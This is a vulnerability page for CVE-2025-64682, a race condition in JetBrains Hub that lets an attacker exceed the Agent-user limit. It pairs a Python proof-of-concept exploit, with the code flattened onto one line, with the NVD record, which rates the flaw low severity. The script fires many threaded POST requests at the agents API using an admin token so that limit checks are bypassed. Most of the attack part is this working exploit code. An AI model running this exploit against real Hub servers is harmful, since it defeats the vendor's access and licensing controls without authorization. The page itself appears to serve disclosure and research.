CVE-2025-64682

# CVE-2025-64682 PoC - JetBrains Hub Race Condition # This PoC demonstrates the race condition in Agent-user limit bypass import requests import threading import time import sys TARGET_URL = "https://hub.example.com" API_TOKEN = "your-admin-token-here" HEADERS = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } def create_agent(agent_name): """Attempt to create an agent via API""" try: response = requests.post( f"{TARGET_URL}/api/agents", headers=HEADERS, json={"name": agent_name}, timeout=10 ) return response.status_code, response.text except Exception as e: return None, str(e) def exploit_race_condition(num_agents=10): """ Exploit race condition to bypass Agent-user limit Send multiple concurrent requests to create agents """ threads = [] results = [] print(f"[*] Starting race condition attack with {num_agents} threads...") start_time = time.time() # Create multiple threads to send concurrent requests for i in range(num_agents): thread = threading.Thread( target=lambda idx: results.append(create_agent(f"agent-{idx}")), args=(i,) ) threads.append(thread) # Start all threads simultaneously for thread in threads: thread.start() # Wait for all threads to complete for thread in threads: thread.join() elapsed = time.time() - start_time # Analyze results success_count = sum(1 for status, _ in results if status == 201) print(f"[*] Attack completed in {elapsed:.2f} seconds") print(f"[*] Successfully created {success_count}/{num_agents} agents") print(f"[*] Race condition {'EXPLOITED' if success_count > 1 else 'FAILED'}") return success_count if __name__ == "__main__": if len(sys.argv) > 1: num_agents = int(sys.argv[1]) else: num_agents = 10 exploit_race_condition(num_agents)

{"cve": {"id": "CVE-2025-64682", "sourceIdentifier": "[email protected]", "published": "2025-11-10T14:15:43.610", "lastModified": "2025-11-20T19:53:25.727", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In JetBrains Hub before 2025.3.104432 a race condition allowed bypass of the Agent-user limit"}, {"lang": "es", "value": "En JetBrains Hub antes de 2025.3.104432, una condición de carrera permitió eludir el límite de usuarios de agente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:hub:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.104432", "matchCriteriaId": "8A004A90-824E-4528-AEF7-F000D4C968FB"}]}]}], "references": [{"url": "https://www.jetbrains.com/privacy-security/issues-fixed/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}